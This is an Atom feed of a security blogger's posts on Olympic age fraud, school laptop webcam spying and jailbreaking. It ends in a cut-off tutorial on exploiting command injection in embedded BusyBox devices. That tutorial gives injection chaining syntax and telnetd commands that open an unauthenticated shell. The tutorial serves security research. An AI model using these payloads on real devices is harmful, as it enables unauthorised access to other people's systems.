<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CEMEQH8yfCp7ImA9WhRVEEk.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257</id><updated>2012-01-08T09:06:41.194-08:00</updated><category term="olympics" /><category term="jailbreaking harriton school spycams" /><category term="streisandeffect" /><category term="medals" /><category term="baidu" /><category term="busybox command injection jailbreaking" /><category term="webcams spyware warrants henrico" /><category term="discrepancy" /><category term="LANRev Agent" /><category term="censorship live" /><category term="hacking" /><category term="flyboys hackers jailbreaking freedom-to-tinker" /><category term="404" /><category term="spyware highschool apple" /><category term="let's do it live" /><category term="censorship" /><category term="2008" /><category term="electronicidentity" /><category term="webcam harriton" /><category term="gps exif governator" /><category term="google" /><category term="1984" /><title>Stryde Hax</title><subtitle type="html" /><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://strydehax.blogspot.com/" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>22</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/blogspot/EOTY" /><feedburner:info uri="blogspot/eoty" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CUAGR3c5eCp7ImA9Wx5SFkk.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-3067238893653281652</id><published>2010-08-12T11:36:00.000-07:00</published><updated>2010-08-12T13:08:46.920-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-12T13:08:46.920-07:00</app:edited><title>Medals Delivered, Questions Unanswered</title><content type="html">&lt;b&gt;Timeline, 2008&lt;/b&gt;
&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;i&gt;September 22nd, 2008&lt;/i&gt; &lt;a href="http://strydehax.blogspot.com/2008/09/yang-yun-speaks-out.html"&gt;A video is released on this blog showing a translated interview with Olympian Yang Yun&lt;/a&gt;. The product of collaboration between myself, a volunteer translator and &lt;a href="http://www.heathershow.com"&gt;Heather Lawver&lt;/a&gt;, the video is a taped confession of age falsification in the Sydney Olympics; the final exhibit in a string of primary documents clearly demonstrating organized sporting fraud.&lt;/LI&gt;
&lt;br /&gt;&lt;LI&gt;&lt;i&gt;September 24th, 2008&lt;/i&gt; &lt;a href="http://www.cbsnews.com/stories/2008/09/24/world/main4475545.shtml"&gt;The IOC expands its age falsification investigation to include the Sydney Olympics&lt;/a&gt;.&lt;/i&gt;&lt;/li&gt;&lt;/UL&gt;
&lt;br /&gt;&lt;p&gt;Today, the press is reporting the the result of the IOC's investigation: a medal presentation ceremony to the US Sydney gymnastics squad, &lt;a href="http://www.washingtonpost.com/wp-dyn/content/article/2010/08/11/AR2010081106636.html"&gt;bronze medals delivered a decade late&lt;/a&gt;.
&lt;br /&gt;
&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bkUaeM7papk/TGRDk0oXZvI/AAAAAAAAAEQ/Qprtix6yDQE/s1600/PH2010081106638.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 504px; height: 302px;" src="http://1.bp.blogspot.com/_bkUaeM7papk/TGRDk0oXZvI/AAAAAAAAAEQ/Qprtix6yDQE/s400/PH2010081106638.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5504598944435889906" /&gt;&lt;/a&gt;
&lt;br /&gt;It's a touching story and one I'm proud to be a part of. As I read the reporting surrounding the event, however, I continue to be perplexed by the version that is being put forward.
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;FIG [...] investigated whether underage gymnasts competed for China at the 2008 Summer Games in Beijing, but found no evidence of wrongdoing. As they pursued those claims last fall, officials decided to take another look at allegations surrounding the ages of two Chinese gymnasts from Sydney.&lt;/i&gt;
&lt;br /&gt;  - The Washington Post
&lt;br /&gt;
&lt;br /&gt;No evidence of wrongdoing? Certainly &lt;i&gt;voluminous&lt;/i&gt; records of wrongdoing were published on this blog. But what did the FIG actually say? Perhaps the Washington Post should read &lt;a href="http://www.intlgymnast.com/index.php?option=com_content&amp;view=article&amp;id=782:grandi-chinese-olympic-gymnasts-robots&amp;catid=2:news&amp;Itemid=166"&gt;this interview with the president of FIG&lt;/a&gt;:
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;Grandi said it was conceivable that China had cheated in Beijing"
&lt;br /&gt;"There was strong circumstantial evidence, certainly, but these investigations are not my job ... I'm not the police or Interpol&lt;/i&gt;
&lt;br /&gt; - Bruno Grandi, President, FIG
&lt;br /&gt;
&lt;br /&gt;More incredible than the claim that the FIG "found no evidence" is the implicit assertion that the IOC/FIG started investigating on September 24th, 2008, because it was just the right day to start looking into fraud eight years later. I do not believe that the investigation was launched two days after we published the Yang Yun video simply out of coincidence. I will never believe this. To do so means that the risks and sacrifices made by the people within China who worked to leak information to me and other bloggers were meaningless. The truth is clear to anyone who reads this blog's archives and examines the documents presented: state sponsored sporting fraud was committed by the Chinese state in Sydney &lt;i&gt;and&lt;/i&gt; in Beijing. The fraud was revealed due to the Chinese state's inability to control the compulsory transparency it forced onto its citizens. And the fraud was ignored due to the inability of the FIG &amp; IOC to engage the expertise necessary to validate electronically obtained documents. &lt;/p&gt;&lt;p&gt;
&lt;br /&gt;So if it's said nowhere else, let it be said here. To those who risked discovery, imprisonment, and worse to get this information to the world: Thank You. For my part, I did my best to represent you.
&lt;br /&gt;
&lt;br /&gt;If you'd like to read the official Chinese response, try to access this link:
&lt;br /&gt;&lt;a href="http://www.baidu.com/s?wd=cache:strydehax.blogspot.com"&gt;http://www.baidu.com/s?wd=cache:strydehax.blogspot.com&lt;/a&gt;
&lt;br /&gt;That URL is an attempt to retrieve this blog from the archives of the Chinese search engine Baidu. Visiting the link will result in a forcibly terminated connection via automated Internet censorship; you will simply receive a browser error. And &lt;i&gt;that&lt;/i&gt; is the official response.
&lt;br /&gt; -stryde.hax
&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;&lt;script type='text/javascript'&gt;digg_url = '&lt;data:post.url/&gt;';&lt;/script&gt;
&lt;br /&gt;&lt;script src='http://digg.com/tools/diggthis.js' type='text/javascript'/&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-3067238893653281652?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_leUwio-CPpsHi3e5yZvGYOuhN8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_leUwio-CPpsHi3e5yZvGYOuhN8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_leUwio-CPpsHi3e5yZvGYOuhN8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_leUwio-CPpsHi3e5yZvGYOuhN8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/7K5ozoLWQQw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/3067238893653281652/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=3067238893653281652" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/3067238893653281652?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/3067238893653281652?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/7K5ozoLWQQw/medals-delivered-questions-unanswered.html" title="Medals Delivered, Questions Unanswered" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_bkUaeM7papk/TGRDk0oXZvI/AAAAAAAAAEQ/Qprtix6yDQE/s72-c/PH2010081106638.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/08/medals-delivered-questions-unanswered.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUDQ3Y8fyp7ImA9WxFSFUg.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-1022687495332885775</id><published>2010-04-17T16:14:00.000-07:00</published><updated>2010-04-17T18:14:32.877-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-17T18:14:32.877-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="jailbreaking harriton school spycams" /><title>A Flurry of Spycam News</title><content type="html">&lt;p&gt;New allegations abound regarding high school teachers spying on students. A drama teacher has now been arrested for hiding a camera in order to catch students undressing. His name was &lt;a href="http://www.10tv.com/live/content/local/stories/2010/03/29/story-columbus-wellington-school-larry-dibble.html?sid=102"&gt;Larry Dibble&lt;/a&gt;, and it happened in Ohio, not Pennsylvania. Unfortunately I didn't find out from the news; instead, I found out from my alumni newsletter. As I follow this story I can't help wishing I'd had a chance to help; I think I had an above average shot at digging up the &lt;a href="http://www.oah.state.mn.us/aljBase/13020820.or.htm"&gt;1995 court case&lt;/a&gt; against Dibble in Minnesota. It's important to start out talking about Dibble, though, because I believe that when apologists speak about giving school officials unaccountable surveillance powers, they forget that people like Dibble exist. When we talk about trusting schools with the responsibility to choose when to activate spycams, it's important to understand that people like Dibble will be drawn to those positions of power. It's something I wish &lt;a href="http://www2.timesdispatch.com/rtd/news/local/education/article/COMP25_20100224-212806/326709/"&gt;Henrico County&lt;/a&gt; was thinking about as they continue to deploy jailed laptops equipped with remote observation against their students.&lt;/p&gt;&lt;p&gt;The press is having a field day with the &lt;a href="http://news.cnet.com/8301-17852_3-20002697-71.html"&gt;amazing allegations&lt;/a&gt; being made by the lawyer behind the PA lawsuit: thousands of pictures, pictures of students in partial states of undress, pictures of students sleeping, email exchanges between school administrators reveling in their powers of observation. What's important to remember about these allegations is that &lt;I&gt;they're still allegations&lt;/i&gt;. Perhaps the lawyer is sharing part of the discovery process, or, perhaps the lawyer is trying to keep his case alive in the press. It's hard to say. But I believe it is extremely telling that &lt;a href="http://www.philly.com/inquirer/local/pa/20100415_Judge_restricts_access_to_L__Merion_laptop_photos.html"&gt;the judge has issued an order against releasing the spycam photos&lt;/a&gt; following the publication at &lt;a href="http://www.philly.com/philly/news/20100415_Lawyer__Laptops_took_thousands_of_photos.html"&gt;Philly.com of  photos of Robbins sleeping&lt;/a&gt;, and the first school administrator to be questioned has pleaded the Fifth and refused to answer any questions. Meanwhile the school has apparently redacted its claim that the webcams were only activated 42 times, revising the estimate from 42 to "substantial" (presumably a number more than 42), and are &lt;a href="http://www.philly.com/philly/news/breaking/91040284.html?cmpid=15585797"&gt;individually notifying the families of children who appeared in laptop webcam photographs&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Maybe the allegations are true, maybe they're not. I will say that right now, the school's defense doesn't pass the smell test. If I was forced to bet, I'd bet that everything in the &lt;a href="http://media.philly.com/documents/MotiontoCompel.pdf"&gt;revised complaint&lt;/a&gt; is true. And truth be told, this shouldn't come as a surprise. This is the only logical outcome of distributing jailed devices equipped with surveillance hardware and legal barriers against owner observation.&lt;/p&gt;&lt;p&gt;If you can't see the parallels between this case and &lt;a href="http://www.nytimes.com/2009/07/18/technology/companies/18amazon.html?_r=1"&gt;1984 being digitally wiped from millions of jailed ebook readers&lt;/a&gt;, if you can't see the connection to criminally enforced consumer lockout using the DMCA, then you're not paying attention. There's a reason &lt;a href="http://www.wired.com/images_blogs/threatlevel/2009/07/applejailbreakresponse.pdf"&gt;Apple is filing legal briefs alleging that jailbreaking is terrorism&lt;/a&gt;. Anything that keeps the consumer out of their own devices helps to remove pesky questions like the ones being asked right now in Pennsylvania. Blind, restricted consumers are good for business; free citizens create problems. Many read these arguments and believe that because people are still openly jailbreaking, it doesn't matter if it's illegal. Of course, it's only a problem of scale. &lt;a href="http://www.wired.com/threatlevel/2009/08/game-console-jailbreaking-arrest/"&gt;The Department of Homeland Security is busy arresting people&lt;/a&gt; for breaking into devices they own. The only reason iPhone jailbreakers aren't going to federal prison is that there are more of them than the prison system can handle, a situation we shouldn't expect to last. Don't be fooled; this war is only getting started.&lt;br /&gt; &lt;br /&gt; -stryde.hax&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-1022687495332885775?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1adldwFbfe8ehQwYIO1uepIFZRA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1adldwFbfe8ehQwYIO1uepIFZRA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1adldwFbfe8ehQwYIO1uepIFZRA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1adldwFbfe8ehQwYIO1uepIFZRA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/45H2D0SZ3kk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/1022687495332885775/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=1022687495332885775" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/1022687495332885775?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/1022687495332885775?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/45H2D0SZ3kk/flurry-of-spycam-news.html" title="A Flurry of Spycam News" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/04/flurry-of-spycam-news.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUFRHk9fSp7ImA9WxBaEk8.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-2250588797858156205</id><published>2010-03-21T18:46:00.000-07:00</published><updated>2010-03-21T19:00:15.765-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-21T19:00:15.765-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="webcam harriton" /><title>Webcam Activation Illegal?</title><content type="html">I wanted to briefly mention the great follow-up reporting going on at Philly.com on the Harriton High spycam case. &lt;a href="http://www.philly.com/philly/news/homepage/88748377.html?page=1&amp;c=y"&gt;This article&lt;/a&gt; contains so much great detail and investigative reporting that to summarize it here wouldn't do it justice; if you're following this case, I encourage you to read the whole thing. I wanted to briefly call out one detail, however. There's been a lot of commentary on this blog to the effect that the school might have been within its legal boundaries when activating webcams remotely for the purpose of theft tracking. Not being a lawyer, I've been hesitant to render a legal opinion. However, I find this quote telling:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Joseph Daly, who retired in 2009 as Lower Merion police superintendent, said he never knew that his department was being furnished with pictures snapped from students' laptops.&lt;br /&gt;&lt;br /&gt;"God, no, I don't remember that," he said when told about it. "&lt;b&gt;That's illegal as hell&lt;/b&gt;."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Well then. Unless he's been grossly misquoted, I believe we have an expert opinion at last.&lt;br /&gt;&lt;br /&gt; -stryde.hax&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-2250588797858156205?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/RiBmSznmrnhzVdmpBcIu2AQNKQg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RiBmSznmrnhzVdmpBcIu2AQNKQg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/RiBmSznmrnhzVdmpBcIu2AQNKQg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RiBmSznmrnhzVdmpBcIu2AQNKQg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/kPh-_b5m4p4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/2250588797858156205/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=2250588797858156205" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/2250588797858156205?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/2250588797858156205?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/kPh-_b5m4p4/webcam-activation-illegal.html" title="Webcam Activation Illegal?" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>4</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/03/webcam-activation-illegal.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEUMQ309fyp7ImA9WxFUFkQ.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-5949090421179774915</id><published>2010-03-18T18:27:00.000-07:00</published><updated>2010-06-27T19:31:22.367-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-06-27T19:31:22.367-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="flyboys hackers jailbreaking freedom-to-tinker" /><title>Where Have All the Hackers Gone?</title><content type="html">&lt;p&gt;Recently a high school in Pennsylvania shocked the nation when it became the subject of a lawsuit alleging that webcams in school-issued laptop computers were being remotely activated by school staff, used to snap photos of students in their homes. As a computer security professional I dug into the story with the help of my colleagues, and together we found that the networked webcam capability built into these computers by the school district was absolutely real. Our findings were greeted with surprise and dismay; they have caused a nationwide outcry. The truth is, this shouldn't have been a surprise. America has been on this road for years.&lt;/p&gt;&lt;p&gt;Nearly every wired school district in America uses some form of remote administration software. This software varies in the degree of control that it exerts over student computers. The trend started with web filtering and progressed to allow remote use of student's desktops by teachers. Some advanced schools now allow surreptitious eavesdropping of student's desktops while they are working. Today on the cutting edge of this trend is Harriton High, with thousands of taxpayer purchased laptops issued to children, and school staff armed with the ability to take remote webcam pictures of the students at will. This isn't a revolution, it's just a bump on the ride.&lt;/p&gt;&lt;p&gt;Historian James Bradley writes in FlyBoys about a nation of young men growing up in pre-WWII America tinkering, modifying, and optimizing a new wave of internal combustion powered machines. Bradley talks about the inherent advantage that this generation of tinkers gave America in the coming aerial conflict, where pushing new technology to its limits was the key to a new form of warfare: aerial combat. When it comes to information technology, it's time we ask ourselves: where  will we find our next generation of computing tinkers? This problem is only now becoming apparent at a national level. The US Air Force is currently holding Cyber Defense competitions at the high school level, nationwide. The Defense Advanced Research Projects Agency (DARPA) recently released a paper stating that the United States will be “hampered” by its projected dearth of expertise in Internet technologies and information security: “we are steadily losing the engineering talent to project these systems .”  As our government begins to identify a critical shortage that has been evident in my industry for years as a national security threat, I believe it is time we asked ourselves: “Where have all the hackers gone?”&lt;/p&gt;&lt;p&gt;The answer is that we've stopped making them. Before building Apple Computer, Jobs &amp; Wozniak hacked the phone system. I grew up hacking the computer they built, the Apple ][. Critical events in my personal and professional development were dependent on my ability to access the core of how computers worked in order to understand them, re-purpose them, and harness them to my will. The Greatest Generation  supercharged their Chevys; my generation peeked and poked at the internal memory of our Apple computers. Today's generation is growing up in a new era of “jailed” devices,  devices like the laptops at Harriton, which were jailed against any student use except approved applications. To tinker with these computers, students were first required to “jailbreak”, a technical feat which would have given students the freedom to understand their computers and to determine who was remotely activating their webcams. Not surprisingly, jailbreaking carried the threat of stringent penalties from the school. A student locked inside a digital jail of this type could never start down the road of digital proficiency necessary to reach the finish line DARPA is asking for.&lt;/p&gt;&lt;p&gt;Digital jails are not solely the realm of education. Devices like the Amazon Kindle and Apple iPhone are jailed against any unauthorized consumer use, guarded by strict but unproven new federal laws against jailbreaking them. Jailed devices are controlled by a networked authority, be it a company like Apple, a school district, an employer, or a government. Jailed devices teach a different kind of lesson to the people who use them: your camera may be monitored, your books may be deleted, your work process may be watched. And most importantly, your attempts to delve into the mysteries of how the device functions will be punished.&lt;/p&gt;&lt;p&gt;We've reached a fork in the road at Harriton High. As the nation watches, we're pondering the consequences of transforming computing devices from machines that we control into machines which exert control over us. As we give away our freedom to tinker, we give away the chance to raise a generation which will lead the information age. It is now time to decide as consumers, as parents, and as a nation which road we will take into the future. I believe that students cannot learn to protect themselves against Internet threats unless they are taught that the power of the Internet comes with a price tag to be paid in responsibility. The responsibility to learn, understand, and master digital self defense. The responsibility to peer inside the machine in order to master it. In order to take on this responsibility, we need to loosen our grip on the reigns and let our children show us the way.&lt;/p&gt;&lt;br /&gt; -stryde.hax&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/826993783422937257-5949090421179774915?l=strydehax.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YEVU38arTUfZcg1QHdhvirv2XC0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YEVU38arTUfZcg1QHdhvirv2XC0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YEVU38arTUfZcg1QHdhvirv2XC0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YEVU38arTUfZcg1QHdhvirv2XC0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/EOTY/~4/KA_GczGeQYE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://strydehax.blogspot.com/feeds/5949090421179774915/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=826993783422937257&amp;postID=5949090421179774915" title="12 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5949090421179774915?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/826993783422937257/posts/default/5949090421179774915?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/EOTY/~3/KA_GczGeQYE/where-have-all-hackers-gone.html" title="Where Have All the Hackers Gone?" /><author><name>Stryde</name><uri>http://www.blogger.com/profile/14563444154591073689</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>12</thr:total><feedburner:origLink>http://strydehax.blogspot.com/2010/03/where-have-all-hackers-gone.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUEQHcycSp7ImA9WxBbE08.&quot;"><id>tag:blogger.com,1999:blog-826993783422937257.post-1973680384733243104</id><published>2010-03-11T08:00:00.000-08:00</published><updated>2010-03-11T08:00:01.999-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-11T08:00:01.999-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="busybox command injection jailbreaking" /><title>Busybox Command Injection</title><content type="html">&lt;h3&gt;Linux Inside&lt;/h3&gt;&lt;p&gt;The number of Linux-powered devices on the market is exploding. As this &lt;a href="http://www.ccc.de/congress/2004/fahrplan/files/267-hacking-linux-powered-devices.pdf"&gt;CCC paper&lt;/a&gt; points out, Linux is finding its way into everything - GPS units, television set tops, phones, routers, the works. That leaves a lot of hacking to be done, and this last month I got to spend some time with &lt;a href="http://www.intrepidusgroup.com"&gt;Intrepidus&lt;/a&gt; jailbreaking and exploiting some embedded devices. One big surprise I encountered was the difficulty of landing even simple command-injection vulnerabilities on embedded Linux.&lt;/p&gt;&lt;h3&gt;I can't believe it's not Linux&lt;/h3&gt;&lt;p&gt;The big problem with a lot of embedded Linux devices is they're not really running Linux. If you haven't heard of Busybox before, it's the core functionality of Linux condensed into a single multi-call binary. Busybox offers embedded device developers a simple distribution of Linux without the large filesize footprint and complexity of porting a full Linux toolchain to embedded hardware. From a hacker's perspective, an embedded Busybox install can pose some unique challenges, especially if you're throwing your exploit "blind", without the ability to see error messages:&lt;/p&gt;&lt;UL&gt;&lt;LI&gt;busybox's ash shell lacks the full functionality of bash and other shells&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;busybox's available functionality depends on compile options chosen by the developers, so every device has the potential to pose unique challenges&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;busybox's implementation of most commands has slightly different functionality and different command line flags than the corresponding Linux versions&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;Standard pipe-redirect callback shells often fail; in fact, I've never gotten a standard two-window "telnet | ash | telnet" shell to work on busybox.&lt;/LI&gt;&lt;/UL&gt;&lt;h3&gt;What's &lt;a href="http://www.owasp.org/index.php/Command_Injection"&gt;Command Injection&lt;/a&gt;?&lt;/h3&gt;&lt;p&gt;Command injection vulnerabilities are usually some of the simplest exploits to land, requiring no assembly and only a little shell knowledge. They can occur whenever developers use user-supplied data as an argument to a shell command. This can happen in a number of ways, and writing a complete reference on all the ways this type of bug can manifest itself is a large topic; OWASP has &lt;a href="http://www.owasp.org/index.php/Command_Injection"&gt;a good writeup&lt;/a&gt; on programmatic (system call) command injection. This writeup isn't about how injection works; it's about how you can exploit injection on busybox. Here's where things get weird.&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;busybox sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BusyBox v1.1.3 Built-in shell (ash)&lt;br /&gt;Enter 'help' for a list of built-in commands.&lt;br /&gt;&lt;br /&gt;~ $ ping 127.0.0.1&lt;br /&gt;ping: permission denied. (are you root?)&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;Busybox isn't quite Linux! If you are attempting to find or exploit a "blind" command injection vuln and the target process is not a superuser process, using ping to "beacon" out to your attack box won't work, because on busybox ping requires superuser privs. Telnet is a better beacon choice, as it is part of the default build process and must be manually removed.&lt;br /&gt;&lt;/p&gt;&lt;h3&gt;Chaining Commands: Nothing New Here&lt;/h3&gt;&lt;p&gt;The basics of adding execution to an input argument don't change much with busybox's shell:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;~ $ true;echo Execution&lt;br /&gt;Execution&lt;br /&gt;~ $ false;echo Execution&lt;br /&gt;Execution&lt;br /&gt;~ $ true|echo Execution &lt;br /&gt;Execution&lt;br /&gt;~ $ false|echo Execution&lt;br /&gt;Execution&lt;br /&gt;~ $ false||echo Execution&lt;br /&gt;Execution&lt;br /&gt;~ $ true&amp;&amp;echo Execution &lt;br /&gt;Execution&lt;br /&gt;~ $ echo `echo Execution`&lt;br /&gt;Execution&lt;br /&gt;~ $ echo $(echo Execution)&lt;br /&gt;Execution&lt;br /&gt;&lt;/pre&gt;&lt;h3&gt;Getting Access&lt;/h3&gt;&lt;p&gt;The absolute easiest way to try to get access to a busybox install via command injection is telnetd. Busybox's telnetd is different: on a normal telnetd install the "-l" flag enables line mode, but on busybox, -l specifies the command to use to challenge the user. That means if you specify the busybox shell, you get a shell without a user/pass prompt:&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;telnetd -l/bin/sh&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;That's the shortest possible string that can land a shell on a busybox system. Of course, here's where things get tricky. If telnet is already open, this will fail; it will also fail to bind a priveleged port when run as a non-root user. Finally, if the environment does not contain a valid path value, the command will fail.&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;/bin/busybox telnetd -l/bin/sh -p9999&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;The command above will bind a telnet 